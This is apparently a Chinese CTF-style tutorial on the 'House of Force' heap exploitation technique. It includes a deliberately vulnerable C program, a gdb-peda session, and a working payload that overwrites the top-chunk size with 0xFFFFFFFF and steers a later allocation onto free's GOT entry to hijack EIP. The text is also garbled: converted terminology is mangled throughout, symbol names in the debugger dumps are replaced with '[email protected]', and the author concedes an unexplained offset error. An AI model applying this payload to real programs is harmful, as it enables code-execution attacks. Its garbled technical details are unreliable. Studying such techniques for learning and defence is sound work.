堆利用類型:top chunk相關
利用思想:通過修改top chunk大小,使得配置設定任意大小都是從top chunk裡邊切出來,這樣配置設定一個大小占滿想要寫的位置和目前配置設定位置top chunk的差,下一個配置設定就可以配置設定出想要寫的位置
利用前提:
-
- 需要有辦法能夠更改到top chunk大小
- 需要能夠知道目前位置和要寫位置的內插補點
- 需要能夠自由控制将要配置設定的chunk的大小,也就是malloc的參數值
- 配置設定後,要能夠修改配置設定出來的内容,這個技巧隻負責配置設定出想要的位置
執行個體代碼如下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *buf1, *buf2, *buf3;
if (argc != 4) return;
buf1 = malloc(256);
strcpy(buf1, argv[1]);
buf2 = malloc(strtoul(argv[2], NULL, 16));
buf3 = malloc(256);
strcpy(buf3, argv[3]);
free(buf3);
free(buf2);
free(buf1);
return 0;
}
編譯方式:
gcc -fno-stack-protector -o House_of_Force House_of_Force.c
使用gdb調試,在buf1 = malloc(256);處下斷點,可以看到:
gdb-peda$ pdisass main
Dump of assembler code for function main:
0x080484ad <+0>: push ebp
0x080484ae <+1>: mov ebp,esp
0x080484b0 <+3>: and esp,0xfffffff0
0x080484b3 <+6>: sub esp,0x20
0x080484b6 <+9>: cmp DWORD PTR [ebp+0x8],0x4
0x080484ba <+13>: je 0x80484c2 <main+21>
0x080484bc <+15>: nop
0x080484bd <+16>: jmp 0x8048567 <main+186>
0x080484c2 <+21>: mov DWORD PTR [esp],0x100
0x080484c9 <+28>: call 0x8048370 <[email protected]>
0x080484ce <+33>: mov DWORD PTR [esp+0x1c],eax
0x080484d2 <+37>: mov eax,DWORD PTR [ebp+0xc]
0x080484d5 <+40>: add eax,0x4
0x080484d8 <+43>: mov eax,DWORD PTR [eax]
0x080484da <+45>: mov DWORD PTR [esp+0x4],eax
0x080484de <+49>: mov eax,DWORD PTR [esp+0x1c]
0x080484e2 <+53>: mov DWORD PTR [esp],eax
0x080484e5 <+56>: call 0x8048360 <[email protected]>
0x080484ea <+61>: mov eax,DWORD PTR [ebp+0xc]
0x080484ed <+64>: add eax,0x8
0x080484f0 <+67>: mov eax,DWORD PTR [eax]
0x080484f2 <+69>: mov DWORD PTR [esp+0x8],0x10
0x080484fa <+77>: mov DWORD PTR [esp+0x4],0x0
0x08048502 <+85>: mov DWORD PTR [esp],eax
0x08048505 <+88>: call 0x8048390 <[email protected]>
0x0804850a <+93>: mov DWORD PTR [esp],eax
0x0804850d <+96>: call 0x8048370 <[email protected]>
0x08048512 <+101>: mov DWORD PTR [esp+0x18],eax
0x08048516 <+105>: mov DWORD PTR [esp],0x100
0x0804851d <+112>: call 0x8048370 <[email protected]>
0x08048522 <+117>: mov DWORD PTR [esp+0x14],eax
0x08048526 <+121>: mov eax,DWORD PTR [ebp+0xc]
0x08048529 <+124>: add eax,0xc
0x0804852c <+127>: mov eax,DWORD PTR [eax]
0x0804852e <+129>: mov DWORD PTR [esp+0x4],eax
0x08048532 <+133>: mov eax,DWORD PTR [esp+0x14]
0x08048536 <+137>: mov DWORD PTR [esp],eax
0x08048539 <+140>: call 0x8048360 <[email protected]>
0x0804853e <+145>: mov eax,DWORD PTR [esp+0x14]
0x08048542 <+149>: mov DWORD PTR [esp],eax
0x08048545 <+152>: call 0x8048350 <[email protected]>
0x0804854a <+157>: mov eax,DWORD PTR [esp+0x18]
0x0804854e <+161>: mov DWORD PTR [esp],eax
0x08048551 <+164>: call 0x8048350 <[email protected]>
0x08048556 <+169>: mov eax,DWORD PTR [esp+0x1c]
0x0804855a <+173>: mov DWORD PTR [esp],eax
0x0804855d <+176>: call 0x8048350 <[email protected]>
0x08048562 <+181>: mov eax,0x0
0x08048567 <+186>: leave
0x08048568 <+187>: ret
End of assembler dump.
gdb-peda$ b *0x080484c9
Breakpoint 1 at 0x80484c9
gdb-peda$ r $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678Starting program: /home/yang/ctf/House_of_force $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678
[----------------------------------registers-----------------------------------]
EAX: 0x4
EBX: 0xb7fc0000 --> 0x1a9da8
ECX: 0x3c607cae
EDX: 0xbffff034 --> 0xb7fc0000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff008 --> 0x0
ESP: 0xbfffefe0 --> 0x100
EIP: 0x80484c9 (<main+28>: call 0x8048370 <[email protected]>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80484bc <main+15>: nop
0x80484bd <main+16>: jmp 0x8048567 <main+186>
0x80484c2 <main+21>: mov DWORD PTR [esp],0x100
=> 0x80484c9 <main+28>: call 0x8048370 <[email protected]>
0x80484ce <main+33>: mov DWORD PTR [esp+0x1c],eax
0x80484d2 <main+37>: mov eax,DWORD PTR [ebp+0xc]
0x80484d5 <main+40>: add eax,0x4
0x80484d8 <main+43>: mov eax,DWORD PTR [eax]
Guessed arguments:
arg[0]: 0x100
[------------------------------------stack-------------------------------------]
0000| 0xbfffefe0 --> 0x100
0004| 0xbfffefe4 --> 0xbffff0a4 --> 0xbffff277 ("/home/yang/ctf/House_of_force")
0008| 0xbfffefe8 --> 0xbffff0b8 --> 0xbffff3b0 ("XDG_VTNR=7")
0012| 0xbfffefec --> 0xb7e4942d (<__cxa_atexit+29>: test eax,eax)
0016| 0xbfffeff0 --> 0xb7fc03c4 --> 0xb7fc11e0 --> 0x0
0020| 0xbfffeff4 --> 0xb7fff000 --> 0x20f34
0024| 0xbfffeff8 --> 0x804857b (<__libc_csu_init+11>: add ebx,0x1a85)
0028| 0xbfffeffc --> 0xb7fc0000 --> 0x1a9da8
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080484c9 in main ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x804b008 --> 0x0
EBX: 0xb7fc0000 --> 0x1a9da8
ECX: 0xb7fc0420 --> 0x0
EDX: 0x804b008 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff008 --> 0x0
ESP: 0xbfffefe0 --> 0x100
EIP: 0x80484ce (<main+33>: mov DWORD PTR [esp+0x1c],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80484bd <main+16>: jmp 0x8048567 <main+186>
0x80484c2 <main+21>: mov DWORD PTR [esp],0x100
0x80484c9 <main+28>: call 0x8048370 <[email protected]>
=> 0x80484ce <main+33>: mov DWORD PTR [esp+0x1c],eax
0x80484d2 <main+37>: mov eax,DWORD PTR [ebp+0xc]
0x80484d5 <main+40>: add eax,0x4
0x80484d8 <main+43>: mov eax,DWORD PTR [eax]
0x80484da <main+45>: mov DWORD PTR [esp+0x4],eax
[------------------------------------stack-------------------------------------]
0000| 0xbfffefe0 --> 0x100
0004| 0xbfffefe4 --> 0xbffff0a4 --> 0xbffff277 ("/home/yang/ctf/House_of_force")
0008| 0xbfffefe8 --> 0xbffff0b8 --> 0xbffff3b0 ("XDG_VTNR=7")
0012| 0xbfffefec --> 0xb7e4942d (<__cxa_atexit+29>: test eax,eax)
0016| 0xbfffeff0 --> 0xb7fc03c4 --> 0xb7fc11e0 --> 0x0
0020| 0xbfffeff4 --> 0xb7fff000 --> 0x20f34
0024| 0xbfffeff8 --> 0x804857b (<__libc_csu_init+11>: add ebx,0x1a85)
0028| 0xbfffeffc --> 0xb7fc0000 --> 0x1a9da8
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080484ce in main ()
gdb-peda$ x/20x $eax-0x10
0x804aff8: 0x00000000 0x00000000 0x00000000 0x00000109
0x804b008: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b038: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$
建立的部分堆位址為0x804b008,堆首資料為0x109. 根據堆記憶體布局
堆首自身size第一位表示是否被配置設定,很明顯這裡已經配置設定了,是以是1,是以堆首 0x109=256+8+1 堆後邊的資料(記憶體高位址)儲存的就是top chunk,是以如果往buf1中複制的資料過多時,就會覆寫掉top thunk的堆首資訊,top thunk 的堆首有8個位元組組成,前四個位元組表示的是buf1的大小,後四個位元組表示的是top thunk的大小 。 如果可以覆寫後四個位元組,就可以控制top thunk的大小了 後續就可以從top thunk中配置設定任意大小資料了
是以此處我們用LARGETOPCHUNK=$(perl -e 'print "A"x260 . "\xFF\xFF\xFF\xFF"')将top thunk覆寫為無限大。
下邊就是wilderness了。
看一下buf2,它的大小我們可以控制,假設buf2和[email protected]相距x,那麼隻要将buf2大小設定為x-8, (為什麼是減8,而不是減4)那麼就可以在下次配置設定時(buf3),覆寫[email protected]的位址了,以後如果調用函數free,那麼就可以調用我們的shellcode了。
buf2的傳回位址是0x804b110,我們找一下 [email protected]的位址:
gdb-peda$ pdisass 0x8048350
Dump of assembler code from 0x8048350 to 0x8048370:: Dump of assembler code from 0x8048350 to 0x8048370:
0x08048350 <[email protected]+0>: jmp DWORD PTR ds:0x804a00c
0x08048356 <[email protected]+6>: push 0x0
0x0804835b <[email protected]+11>: jmp 0x8048340
0x08048360 <[email protected]+0>: jmp DWORD PTR ds:0x804a010
0x08048366 <[email protected]+6>: push 0x8
0x0804836b <[email protected]+11>: jmp 0x8048340
End of assembler dump.
可以看到[email protected]的位址為0x804a00c 計算下偏移(補碼形式): 0x804a00c-0x804b110-8=0xffffeef4 (為什麼減去8,而不是4,記憶體對齊,八位元組倍數) 這樣下次malloc buf3并且strcpy的時候 就将我們的資料寫入了free函數位址,導緻調用free的時候,執行了我們的shellcode。
但是可能是 位元組對齊的原因,最後我的oayload是這樣寫的: $(python -c "print '\x41'*260+'\xFF\xFF\xFF\xFF'") ffffeef4 12345678 最後控制$eip為0x38373635.可以看到還是向後移動了四個位元組,我也不知道為什麼。
note: 發現一個奇怪的現象,當malloc(10)的時候堆首是0x11 當malloc(15)的時候堆首是0x19,不是很奇怪嗎? 也就是說當申請10位元組時,堆首是0x4大小,當申請大于15位元組時,堆首是0x8大小,其中前四個位元組是0x00,後四個位元組是堆大小加上是否配置設定的标志位。 其實是這樣的,當chunk的前一個chunk處于allocated狀态時,那麼目前chunk的pre+size是沒有用的,是以就被用來存儲前一個chunk的資料,同理,下一個chunk的pre_size就被用來存儲目前chunk的資料。 原來堆在32位下是8位元組對齊的,其他0x00填充。
參考文章: 1. 如何了解堆和堆溢出漏洞的利用?( http://www.freebuf.com/vuls/98404.html#) 2. [翻譯]堆溢出技術:Malloc Maleficarum之The House of Force( http://bbs.pediy.com/thread-216179.htm) 3. pwn工具箱之house of force(http://blog.csdn.net/qq_29343201/article/details/74194447)